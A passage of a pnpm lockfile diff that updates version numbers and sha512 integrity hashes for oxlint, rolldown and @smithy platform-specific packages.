sha512-MPfqRt1+XRHv9oHomcBMQ3KpTE+CSkZz14wUxDQoqTNdUlV0HWdzwIE9q65I3D9YyxEnqpM7j4qtDQ3apqVvbQ==} cpu: [arm64] os: [linux] - '@oxlint-tsgolint/linux-x64@0.15.0': - resolution: {integrity: sha512-9b9xzh/1Harn3a+XiKTK/8LrWw3VcqLfYp/vhV5/zAVR2Mt0d63WSp4FL+wG7DKnI2T/CbMFUFHwc7kCQjDMzQ==} + '@oxlint-tsgolint/linux-x64@0.16.0': + resolution: {integrity: sha512-XQSwVUsnwLokMhe1TD6IjgvW5WMTPzOGGkdFDtXWQmlN2YeTw94s/NN0KgDrn2agM1WIgAenEkvnm0u7NgwEyw==} cpu: [x64] os: [linux] - '@oxlint-tsgolint/win32-arm64@0.15.0': - resolution: {integrity: sha512-nNac5hewHdkk5mowOwTqB1ZD76zB/FsUiyUvdCyupq5cG54XyKqSLEp9QGbx7wFJkWCkeWmuwRed4sfpAlKaeA==} + '@oxlint-tsgolint/win32-arm64@0.16.0': + resolution: {integrity: sha512-EWdlspQiiFGsP2AiCYdhg5dTYyAlj6y1nRyNI2dQWq4Q/LITFHiSRVPe+7m7K7lcsZCEz2icN/bCeSkZaORqIg==} cpu: [arm64] os: [win32] - '@oxlint-tsgolint/win32-x64@0.15.0': - resolution: {integrity: sha512-ioAY2XLpy83E2EqOLH9p1cEgj0G2qB1lmAn0a3yFV1jHQB29LIPIKGNsu/tYCClpwmHN79pT5KZAHZOgWxxqNg==} + '@oxlint-tsgolint/win32-x64@0.16.0': + resolution: {integrity: sha512-1ufk8cgktXJuJZHKF63zCHAkaLMwZrEXnZ89H2y6NO85PtOXqu4zbdNl0VBpPP3fCUuUBu9RvNqMFiv0VsbXWA==} cpu: [x64] os: [win32] - '@oxlint/binding-android-arm-eabi@1.50.0': - resolution: {integrity: sha512-G7MRGk/6NCe+L8ntonRdZP7IkBfEpiZ/he3buLK6JkLgMHgJShXZ+BeOwADmspXez7U7F7L1Anf4xLSkLHiGTg==} + '@oxlint/binding-android-arm-eabi@1.51.0': + resolution: {integrity: sha512-jJYIqbx4sX+suIxWstc4P7SzhEwb4ArWA2KVrmEuu9vH2i0qM6QIHz/ehmbGE4/2fZbpuMuBzTl7UkfNoqiSgw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [android] - '@oxlint/binding-android-arm64@1.50.0': - resolution: {integrity: sha512-GeSuMoJWCVpovJi/e3xDSNgjeR8WEZ6MCXL6EtPiCIM2NTzv7LbflARINTXTJy2oFBYyvdf/l2PwHzYo6EdXvg==} + '@oxlint/binding-android-arm64@1.51.0': + resolution: {integrity: sha512-GtXyBCcH4ti98YdiMNCrpBNGitx87EjEWxevnyhcBK12k/Vu4EzSB45rzSC4fGFUD6sQgeaxItRCEEWeVwPafw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@oxlint/binding-darwin-arm64@1.50.0': - resolution: {integrity: sha512-w3SY5YtxGnxCHPJ8Twl3KmS9oja1gERYk3AMoZ7Hv8P43ZtB6HVfs02TxvarxfL214Tm3uzvc2vn+DhtUNeKnw==} + '@oxlint/binding-darwin-arm64@1.51.0': + resolution: {integrity: sha512-3QJbeYaMHn6Bh2XeBXuITSsbnIctyTjvHf5nRjKYrT9pPeErNIpp5VDEeAXC0CZSwSVTsc8WOSDwgrAI24JolQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@oxlint/binding-darwin-x64@1.50.0': - resolution: {integrity: sha512-hNfogDqy7tvmllXKBSlHo6k5x7dhTUVOHbMSE15CCAcXzmqf5883aPvBYPOq9AE7DpDUQUZ1kVE22YbiGW+tuw==} + '@oxlint/binding-darwin-x64@1.51.0': + resolution: {integrity: sha512-NzErhMaTEN1cY0E8C5APy74lw5VwsNfJfVPBMWPVQLqAbO0k4FFLjvHURvkUL+Y18Wu+8Vs1kbqPh2hjXYA4pg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@oxlint/binding-freebsd-x64@1.50.0': - resolution: {integrity: sha512-ykZevOWEyu0nsxolA911ucxpEv0ahw8jfEeGWOwwb/VPoE4xoexuTOAiPNlWZNJqANlJl7yp8OyzCtXTUAxotw==} + '@oxlint/binding-freebsd-x64@1.51.0': + resolution: {integrity: sha512-msAIh3vPAoKoHlOE/oe6Q5C/n9umypv/k81lED82ibrJotn+3YG2Qp1kiR8o/Dg5iOEU97c6tl0utxcyFenpFw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@oxlint/binding-linux-arm-gnueabihf@1.50.0': - resolution: {integrity: sha512-hif3iDk7vo5GGJ4OLCCZAf2vjnU9FztGw4L0MbQL0M2iY9LKFtDMMiQAHmkF0PQGQMVbTYtPdXCLKVgdkiqWXQ==} + '@oxlint/binding-linux-arm-gnueabihf@1.51.0': + resolution: {integrity: sha512-CqQPcvqYyMe9ZBot2stjGogEzk1z8gGAngIX7srSzrzexmXixwVxBdFZyxTVM0CjGfDeV+Ru0w25/WNjlMM2Hw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxlint/binding-linux-arm-musleabihf@1.50.0': - resolution: {integrity: sha512-dVp9iSssiGAnTNey2Ruf6xUaQhdnvcFOJyRWd/mu5o2jVbFK15E5fbWGeFRfmuobu5QXuROtFga44+7DOS3PLg==} + '@oxlint/binding-linux-arm-musleabihf@1.51.0': + resolution: {integrity: sha512-dstrlYQgZMnyOssxSbolGCge/sDbko12N/35RBNuqLpoPbft2aeBidBAb0dvQlyBd9RJ6u8D4o4Eh8Un6iTgyQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxlint/binding-linux-arm64-gnu@1.50.0': - resolution: {integrity: sha512-1cT7yz2HA910CKA9NkH1ZJo50vTtmND2fkoW1oyiSb0j6WvNtJ0Wx2zoySfXWc/c+7HFoqRK5AbEoL41LOn9oA==} + '@oxlint/binding-linux-arm64-gnu@1.51.0': + resolution: {integrity: sha512-QEjUpXO7d35rP1/raLGGbAsBLLGZIzV3ZbeSjqWlD3oRnxpRIZ6iL4o51XQHkconn3uKssc+1VKdtHJ81BBhDA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxlint/binding-linux-arm64-musl@1.50.0': - resolution: {integrity: sha512-++B3k/HEPFVlj89cOz8kWfQccMZB/aWL9AhsW7jPIkG++63Mpwb2cE9XOEsd0PATbIan78k2Gky+09uWM1d/gQ==} + '@oxlint/binding-linux-arm64-musl@1.51.0': + resolution: {integrity: sha512-YSJua5irtG4DoMAjUapDTPhkQLHhBIY0G9JqlZS6/SZPzqDkPku/1GdWs0D6h/wyx0Iz31lNCfIaWKBQhzP0wQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxlint/binding-linux-ppc64-gnu@1.50.0': - resolution: {integrity: sha512-Z9b/KpFMkx66w3gVBqjIC1AJBTZAGoI9+U+K5L4QM0CB/G0JSNC1es9b3Y0Vcrlvtdn8A+IQTkYjd/Q0uCSaZw==} + '@oxlint/binding-linux-ppc64-gnu@1.51.0': + resolution: {integrity: sha512-7L4Wj2IEUNDETKssB9IDYt16T6WlF+X2jgC/hBq3diGHda9vJLpAgb09+D3quFq7TdkFtI7hwz/jmuQmQFPc1Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ppc64] os: [linux] - '@oxlint/binding-linux-riscv64-gnu@1.50.0': - resolution: {integrity: sha512-jvmuIw8wRSohsQlFNIST5uUwkEtEJmOQYr33bf/K2FrFPXHhM4KqGekI3ShYJemFS/gARVacQFgBzzJKCAyJjg==} + '@oxlint/binding-linux-riscv64-gnu@1.51.0': + resolution: {integrity: sha512-cBUHqtOXy76G41lOB401qpFoKx1xq17qYkhWrLSM7eEjiHM9sOtYqpr6ZdqCnN9s6ZpzudX4EkeHOFH2E9q0vA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxlint/binding-linux-riscv64-musl@1.50.0': - resolution: {integrity: sha512-x+UrN47oYNh90nmAAyql8eQaaRpHbDPu5guasDg10+OpszUQ3/1+1J6zFMmV4xfIEgTcUXG/oI5fxJhF4eWCNA==} + '@oxlint/binding-linux-riscv64-musl@1.51.0': + resolution: {integrity: sha512-WKbg8CysgZcHfZX0ixQFBRSBvFZUHa3SBnEjHY2FVYt2nbNJEjzTxA3ZR5wMU0NOCNKIAFUFvAh5/XJKPRJuJg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxlint/binding-linux-s390x-gnu@1.50.0': - resolution: {integrity: sha512-i/JLi2ljLUIVfekMj4ISmdt+Hn11wzYUdRRrkVUYsCWw7zAy5xV7X9iA+KMyM156LTFympa7s3oKBjuCLoTAUQ==} + '@oxlint/binding-linux-s390x-gnu@1.51.0': + resolution: {integrity: sha512-N1QRUvJTxqXNSu35YOufdjsAVmKVx5bkrggOWAhTWBc3J4qjcBwr1IfyLh/6YCg8sYRSR1GraldS9jUgJL/U4A==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [s390x] os: [linux] - '@oxlint/binding-linux-x64-gnu@1.50.0': - resolution: {integrity: sha512-/C7brhn6c6UUPccgSPCcpLQXcp+xKIW/3sji/5VZ8/OItL3tQ2U7KalHz887UxxSQeEOmd1kY6lrpuwFnmNqOA==} + '@oxlint/binding-linux-x64-gnu@1.51.0': + resolution: {integrity: sha512-e0Mz0DizsCoqNIjeOg6OUKe8JKJWZ5zZlwsd05Bmr51Jo3AOL4UJnPvwKumr4BBtBrDZkCmOLhCvDGm95nJM2g==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxlint/binding-linux-x64-musl@1.50.0': - resolution: {integrity: sha512-oDR1f+bGOYU8LfgtEW8XtotWGB63ghtcxk5Jm6IDTCk++rTA/IRMsjOid2iMd+1bW+nP9Mdsmcdc7VbPD3+iyQ==} + '@oxlint/binding-linux-x64-musl@1.51.0': + resolution: {integrity: sha512-wD8HGTWhYBKXvRDvoBVB1y+fEYV01samhWQSy1Zkxq2vpezvMnjaFKRuiP6tBNITLGuffbNDEXOwcAhJ3gI5Ug==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxlint/binding-openharmony-arm64@1.50.0': - resolution: {integrity: sha512-4CmRGPp5UpvXyu4jjP9Tey/SrXDQLRvZXm4pb4vdZBxAzbFZkCyh0KyRy4txld/kZKTJlW4TO8N1JKrNEk+mWw==} + '@oxlint/binding-openharmony-arm64@1.51.0': + resolution: {integrity: sha512-5NSwQ2hDEJ0GPXqikjWtwzgAQCsS7P9aLMNenjjKa+gknN3lTCwwwERsT6lKXSirfU3jLjexA2XQvQALh5h27w==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@oxlint/binding-win32-arm64-msvc@1.50.0': - resolution: {integrity: sha512-Fq0M6vsGcFsSfeuWAACDhd5KJrO85ckbEfe1EGuBj+KPyJz7KeWte2fSFrFGmNKNXyhEMyx4tbgxiWRujBM2KQ==} + '@oxlint/binding-win32-arm64-msvc@1.51.0': + resolution: {integrity: sha512-JEZyah1M0RHMw8d+jjSSJmSmO8sABA1J1RtrHYujGPeCkYg1NeH0TGuClpe2h5QtioRTaF57y/TZfn/2IFV6fA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@oxlint/binding-win32-ia32-msvc@1.50.0': - resolution: {integrity: sha512-qTdWR9KwY/vxJGhHVIZG2eBOhidOQvOwzDxnX+jhW/zIVacal1nAhR8GLkiywW8BIFDkQKXo/zOfT+/DY+ns/w==} + '@oxlint/binding-win32-ia32-msvc@1.51.0': + resolution: {integrity: sha512-q3cEoKH6kwjz/WRyHwSf0nlD2F5Qw536kCXvmlSu+kaShzgrA0ojmh45CA81qL+7udfCaZL2SdKCZlLiGBVFlg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ia32] os: [win32] - '@oxlint/binding-win32-x64-msvc@1.50.0': - resolution: {integrity: sha512-682t7npLC4G2Ca+iNlI9fhAKTcFPYYXJjwoa88H4q+u5HHHlsnL/gHULapX3iqp+A8FIJbgdylL5KMYo2LaluQ==} + '@oxlint/binding-win32-x64-msvc@1.51.0': + resolution: {integrity: sha512-Q14+fOGb9T28nWF/0EUsYqERiRA7cl1oy4TJrGmLaqhm+aO2cV+JttboHI3CbdeMCAyDI1+NoSlrM7Melhp/cw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] @@ -2344,85 +2466,97 @@ packages: resolution: {integrity: sha512-DmCG8GzysnCZ15bres3N5AHCmwBwYgp0As6xjhQ47rAUTUXxJiK+lLUxaGsX3hd/30qUpVElh05PbGuxRPgJwA==} engines: {node: '>= 10'} - '@rolldown/binding-android-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-zCEmUrt1bggwgBgeKLxNj217J1OrChrp3jJt24VK9jAharSTeVaHODNL+LpcQVhRz+FktYWfT9cjo5oZ99ZLpg==} + '@rolldown/binding-android-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-/uadfNUaMLFFBGvcIOiq8NnlhvTZTjOyybJaJnhGxD0n9k5vZRJfTaitH5GHnbwmc6T2PC+ZpS1FQH+vXyS/UA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@rolldown/binding-darwin-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-ZP9xb9lPAex36pvkNWCjSEJW/Gfdm9I3ssiqOFLmpZ/vosPXgpoGxCmh+dX1Qs+/bWQE6toNFXWWL8vYoKoK9Q==} + '@rolldown/binding-darwin-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-zokYr1KgRn0hRA89dmgtPj/BmKp9DxgrfAJvOEFfXa8nfYWW2nmgiYIBGpSIAJrEg7Qc/Qznovy6xYwmKh0M8g==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@rolldown/binding-darwin-x64@1.0.0-rc.5': - resolution: {integrity: sha512-7IdrPunf6dp9mywMgTOKMMGDnMHQ6+h5gRl6LW8rhD8WK2kXX0IwzcM5Zc0B5J7xQs8QWOlKjv8BJsU/1CD3pg==} + '@rolldown/binding-darwin-x64@1.0.0-rc.7': + resolution: {integrity: sha512-eZFjbmrapCBVgMmuLALH3pmQQQStHFuRhsFceJHk6KISW8CkI2e9OPLp9V4qXksrySQcD8XM8fpvGLs5l5C7LQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@rolldown/binding-freebsd-x64@1.0.0-rc.5': - resolution: {integrity: sha512-o/JCk+dL0IN68EBhZ4DqfsfvxPfMeoM6cJtxORC1YYoxGHZyth2Kb2maXDb4oddw2wu8iIbnYXYPEzBtAF5CAg==} + '@rolldown/binding-freebsd-x64@1.0.0-rc.7': + resolution: {integrity: sha512-xjMrh8Dmu2DNwdY6DZsrF6YPGeesc3PaTlkh8v9cqmkSCNeTxnhX3ErhVnuv1j3n8t2IuuhQIwM9eZDINNEt5Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.5': - resolution: {integrity: sha512-IIBwTtA6VwxQLcEgq2mfrUgam7VvPZjhd/jxmeS1npM+edWsrrpRLHUdze+sk4rhb8/xpP3flemgcZXXUW6ukw==} + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.7': + resolution: {integrity: sha512-mOvftrHiXg4/xFdxJY3T9Wl1/zDAOSlMN8z9an2bXsCwuvv3RdyhYbSMZDuDO52S04w9z7+cBd90lvQSPTAQtw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.5': - resolution: {integrity: sha512-KSol1De1spMZL+Xg7K5IBWXIvRWv7+pveaxFWXpezezAG7CS6ojzRjtCGCiLxQricutTAi/LkNWKMsd2wNhMKQ==} + '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-TuUkeuEEPRyXMBbJ86NRhAiPNezxHW8merl3Om2HASA9Pl1rI+VZcTtsVQ6v/P0MDIFpSl0k0+tUUze9HIXyEw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@rolldown/binding-linux-arm64-musl@1.0.0-rc.5': - resolution: {integrity: sha512-WFljyDkxtXRlWxMjxeegf7xMYXxUr8u7JdXlOEWKYgDqEgxUnSEsVDxBiNWQ1D5kQKwf8Wo4sVKEYPRhCdsjwA==} + '@rolldown/binding-linux-arm64-musl@1.0.0-rc.7': + resolution: {integrity: sha512-G43ZElEvaby+YSOgrXfBgpeQv42LdS0ivFFYQufk2tBDWeBfzE/+ob5DmO8Izbyn4Y8k6GgLF11jFDYNnmU/3w==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@rolldown/binding-linux-x64-gnu@1.0.0-rc.5': - resolution: {integrity: sha512-CUlplTujmbDWp2gamvrqVKi2Or8lmngXT1WxsizJfts7JrvfGhZObciaY/+CbdbS9qNnskvwMZNEhTPrn7b+WA==} + '@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-Y48ShVxGE2zUTt0A0PR3grCLNxW4DWtAfe5lxf6L3uYEQujwo/LGuRogMsAtOJeYLCPTJo2i714LOdnK34cHpw==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [ppc64] + os: [linux] + + '@rolldown/binding-linux-s390x-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-KU5DUYvX3qI8/TX6D3RA4awXi4Ge/1+M6Jqv7kRiUndpqoVGgD765xhV3Q6QvtABnYjLJenrWDl3S1B5U56ixA==} + engines: {node: ^20.19.0 || >=22.12.0} + cpu: [s390x] + os: [linux] + + '@rolldown/binding-linux-x64-gnu@1.0.0-rc.7': + resolution: {integrity: sha512-1THb6FdBkAEL12zvUue2bmK4W1+P+tz8Pgu5uEzq+xrtYa3iBzmmKNlyfUzCFNCqsPd8WJEQrYdLcw4iMW4AVw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@rolldown/binding-linux-x64-musl@1.0.0-rc.5': - resolution: {integrity: sha512-wdf7g9NbVZCeAo2iGhsjJb7I8ZFfs6X8bumfrWg82VK+8P6AlLXwk48a1ASiJQDTS7Svq2xVzZg3sGO2aXpHRA==} + '@rolldown/binding-linux-x64-musl@1.0.0-rc.7': + resolution: {integrity: sha512-12o73atFNWDgYnLyA52QEUn9AH8pHIe12W28cmqjyHt4bIEYRzMICvYVCPa2IQm6DJBvCBrEhD9K+ct4wr2hwg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@rolldown/binding-openharmony-arm64@1.0.0-rc.5': - resolution: {integrity: sha512-0CWY7ubu12nhzz+tkpHjoG3IRSTlWYe0wrfJRf4qqjqQSGtAYgoL9kwzdvlhaFdZ5ffVeyYw9qLsChcjUMEloQ==} + '@rolldown/binding-openharmony-arm64@1.0.0-rc.7': + resolution: {integrity: sha512-+uUgGwvuUCXl894MTsmTS2J0BnCZccFsmzV7y1jFxW5pTSxkuwL5agyPuDvDOztPeS6RrdqWkn7sT0jRd0ECkg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@rolldown/binding-wasm32-wasi@1.0.0-rc.5': - resolution: {integrity: sha512-LztXnGzv6t2u830mnZrFLRVqT/DPJ9DL4ZTz/y93rqUVkeHjMMYIYaFj+BUthiYxbVH9dH0SZYufETspKY/NhA==} + '@rolldown/binding-wasm32-wasi@1.0.0-rc.7': + resolution: {integrity: sha512-53p2L/NSy21UiFOqUGlC11kJDZS2Nx2GJRz1QvbkXovypA3cOHbsyZHLkV72JsLSbiEQe+kg4tndUhSiC31UEA==} engines: {node: '>=14.0.0'} cpu: [wasm32] - '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.5': - resolution: {integrity: sha512-jUct1XVeGtyjqJXEAfvdFa8xoigYZ2rge7nYEm70ppQxpfH9ze2fbIrpHmP2tNM2vL/F6Dd0CpXhpjPbC6bSxQ==} + '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.7': + resolution: {integrity: sha512-K6svNRljO6QrL6VTKxwh4yThhlR9DT/tK0XpaFQMnJwwQKng+NYcVEtUkAM0WsoiZHw+Hnh3DGnn3taf/pNYGg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@rolldown/binding-win32-x64-msvc@1.0.0-rc.5': - resolution: {integrity: sha512-VQ8F9ld5gw29epjnVGdrx8ugiLTe8BMqmhDYy7nGbdeDo4HAt4bgdZvLbViEhg7DZyHLpiEUlO5/jPSUrIuxRQ==} + '@rolldown/binding-win32-x64-msvc@1.0.0-rc.7': + resolution: {integrity: sha512-3ZJBT47VWLKVKIyvHhUSUgVwHzzZW761YAIkM3tOT+8ZTjFVp0acCM0Y2Z2j3jCl+XYi2d9y2uEWQ8H0PvvpPw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] - '@rolldown/pluginutils@1.0.0-rc.5': - resolution: {integrity: sha512-RxlLX/DPoarZ9PtxVrQgZhPoor987YtKQqCo5zkjX+0S0yLJ7Vv515Wk6+xtTL67VONKJKxETWZwuZjss2idYw==} + '@rolldown/pluginutils@1.0.0-rc.7': + resolution: {integrity: sha512-qujRfC8sFVInYSPPMLQByRh7zhwkGFS4+tyMQ83srV1qrxL4g8E2tyxVVyxd0+8QeBM1mIk9KbWxkegRr76XzA==} '@rollup/rollup-android-arm-eabi@4.59.0': resolution: {integrity: sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==} @@ -2621,6 +2755,10 @@ packages: resolution: {integrity: sha512-qocxM/X4XGATqQtUkbE9SPUB6wekBi+FyJOMbPj0AhvyvFGYEmOlz6VB22iMePCQsFmMIvFSeViDvA7mZJG47g==} engines: {node: '>=18.0.0'} + '@smithy/abort-controller@4.2.11': + resolution: {integrity: sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ==} + engines: {node: '>=18.0.0'} + '@smithy/chunked-blob-reader-native@4.2.2': resolution: {integrity: sha512-QzzYIlf4yg0w5TQaC9VId3B3ugSk1MI/wb7tgcHtd7CBV9gNRKZrhc2EPSxSZuDy10zUZ0lomNMgkc6/VVe8xg==} engines: {node: '>=18.0.0'} @@ -2629,6 +2767,10 @@ packages: resolution: {integrity: sha512-y5d4xRiD6TzeP5BWlb+Ig/VFqF+t9oANNhGeMqyzU7obw7FYgTgVi50i5JqBTeKp+TABeDIeeXFZdz65RipNtA==} engines: {node: '>=18.0.0'} + '@smithy/config-resolver@4.4.10': + resolution: {integrity: sha512-IRTkd6ps0ru+lTWnfnsbXzW80A8Od8p3pYiZnW98K2Hb20rqfsX7VTlfUwhrcOeSSy68Gn9WBofwPuw3e5CCsg==} + engines: {node: '>=18.0.0'} + '@smithy/config-resolver@4.4.9': resolution: {integrity: sha512-ejQvXqlcU30h7liR9fXtj7PIAau1t/sFbJpgWPfiYDs7zd16jpH0IsSXKcba2jF6ChTXvIjACs27kNMc5xxE2Q==} engines: {node: '>=18.0.0'} @@ -2637,10 +2779,18 @@ packages: resolution: {integrity: sha512-4xE+0L2NrsFKpEVFlFELkIHQddBvMbQ41LRIP74dGCXnY1zQ9DgksrBcRBDJT+iOzGy4VEJIeU3hkUK5mn06kg==} engines: {node: '>=18.0.0'} + '@smithy/core@3.23.9': + resolution: {integrity: sha512-1Vcut4LEL9HZsdpI0vFiRYIsaoPwZLjAxnVQDUMQK8beMS+EYPLDQCXtbzfxmM5GzSgjfe2Q9M7WaXwIMQllyQ==} + engines: {node: '>=18.0.0'} + '@smithy/credential-provider-imds@4.2.10': resolution: {integrity: sha512-3bsMLJJLTZGZqVGGeBVFfLzuRulVsGTj12BzRKODTHqUABpIr0jMN1vN3+u6r2OfyhAQ2pXaMZWX/swBK5I6PQ==} engines: {node: '>=18.0.0'} + '@smithy/credential-provider-imds@4.2.11': + resolution: {integrity: sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g==} + engines: {node: '>=18.0.0'} + '@smithy/eventstream-codec@4.2.10': resolution: {integrity: sha512-A4ynrsFFfSXUHicfTcRehytppFBcY3HQxEGYiyGktPIOye3Ot7fxpiy4VR42WmtGI4Wfo6OXt/c1Ky1nUFxYYQ==} engines: {node: '>=18.0.0'} @@ -2665,6 +2815,10 @@ packages: resolution: {integrity: sha512-wbTRjOxdFuyEg0CpumjZO0hkUl+fetJFqxNROepuLIoijQh51aMBmzFLfoQdwRjxsuuS2jizzIUTjPWgd8pd7g==} engines: {node: '>=18.0.0'} + '@smithy/fetch-http-handler@5.3.13': + resolution: {integrity: sha512-U2Hcfl2s3XaYjikN9cT4mPu8ybDbImV3baXR0PkVlC0TTx808bRP3FaPGAzPtB8OByI+JqJ1kyS+7GEgae7+qQ==} + engines: {node: '>=18.0.0'} + '@smithy/hash-blob-browser@4.2.11': resolution: {integrity: sha512-DrcAx3PM6AEbWZxsKl6CWAGnVwiz28Wp1ZhNu+Hi4uI/6C1PIZBIaPM2VoqBDAsOWbM6ZVzOEQMxFLLdmb4eBQ==} engines: {node: '>=18.0.0'} @@ -2673,6 +2827,10 @@ packages: resolution: {integrity: sha512-1VzIOI5CcsvMDvP3iv1vG/RfLJVVVc67dCRyLSB2Hn9SWCZrDO3zvcIzj3BfEtqRW5kcMg5KAeVf1K3dR6nD3w==} engines: {node: '>=18.0.0'} + '@smithy/hash-node@4.2.11': + resolution: {integrity: sha512-T+p1pNynRkydpdL015ruIoyPSRw9e/SQOWmSAMmmprfswMrd5Ow5igOWNVlvyVFZlxXqGmyH3NQwfwy8r5Jx0A==} + engines: {node: '>=18.0.0'} + '@smithy/hash-stream-node@4.2.10': resolution: {integrity: sha512-w78xsYrOlwXKwN5tv1GnKIRbHb1HygSpeZMP6xDxCPGf1U/xDHjCpJu64c5T35UKyEPwa0bPeIcvU69VY3khUA==} engines: {node: '>=18.0.0'} @@ -2681,6 +2839,10 @@ packages: resolution: {integrity: sha512-vy9KPNSFUU0ajFYk0sDZIYiUlAWGEAhRfehIr5ZkdFrRFTAuXEPUd41USuqHU6vvLX4r6Q9X7MKBco5+Il0Org==} engines: {node: '>=18.0.0'} + '@smithy/invalid-dependency@4.2.11': + resolution: {integrity: sha512-cGNMrgykRmddrNhYy1yBdrp5GwIgEkniS7k9O1VLB38yxQtlvrxpZtUVvo6T4cKpeZsriukBuuxfJcdZQc/f/g==} + engines: {node: '>=18.0.0'} + '@smithy/is-array-buffer@2.2.0': resolution: {integrity: sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==} engines: {node: '>=14.0.0'} @@ -2689,6 +2851,10 @@ packages: resolution: {integrity: sha512-Yfu664Qbf1B4IYIsYgKoABt010daZjkaCRvdU/sPnZG6TtHOB0md0RjNdLGzxe5UIdn9js4ftPICzmkRa9RJ4Q==} engines: {node: '>=18.0.0'} + '@smithy/is-array-buffer@4.2.2': + resolution: {integrity: sha512-n6rQ4N8Jj4YTQO3YFrlgZuwKodf4zUFs7EJIWH86pSCWBaAtAGBFfCM7Wx6D2bBJ2xqFNxGBSrUWswT3M0VJow==} + engines: {node: '>=18.0.0'} + '@smithy/md5-js@4.2.10': resolution: {integrity: sha512-Op+Dh6dPLWTjWITChFayDllIaCXRofOed8ecpggTC5fkh8yXes0vAEX7gRUfjGK+TlyxoCAA05gHbZW/zB9JwQ==} engines: {node: '>=18.0.0'} @@ -2697,62 +2863,122 @@ packages: resolution: {integrity: sha512-TQZ9kX5c6XbjhaEBpvhSvMEZ0klBs1CFtOdPFwATZSbC9UeQfKHPLPN9Y+I6wZGMOavlYTOlHEPDrt42PMSH9w==} engines: {node: '>=18.0.0'} + '@smithy/middleware-content-length@4.2.11': + resolution: {integrity: sha512-UvIfKYAKhCzr4p6jFevPlKhQwyQwlJ6IeKLDhmV1PlYfcW3RL4ROjNEDtSik4NYMi9kDkH7eSwyTP3vNJ/u/Dw==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-endpoint@4.4.20': resolution: {integrity: sha512-9W6Np4ceBP3XCYAGLoMCmn8t2RRVzuD1ndWPLBbv7H9CrwM9Bprf6Up6BM9ZA/3alodg0b7Kf6ftBK9R1N04vw==} engines: {node: '>=18.0.0'} + '@smithy/middleware-endpoint@4.4.23': + resolution: {integrity: sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-retry@4.4.37': resolution: {integrity: sha512-/1psZZllBBSQ7+qo5+hhLz7AEPGLx3Z0+e3ramMBEuPK2PfvLK4SrncDB9VegX5mBn+oP/UTDrM6IHrFjvX1ZA==} engines: {node: '>=18.0.0'} + '@smithy/middleware-retry@4.4.40': + resolution: {integrity: sha512-YhEMakG1Ae57FajERdHNZ4ShOPIY7DsgV+ZoAxo/5BT0KIe+f6DDU2rtIymNNFIj22NJfeeI6LWIifrwM0f+rA==} + engines: {node: '>=18.0.0'} + 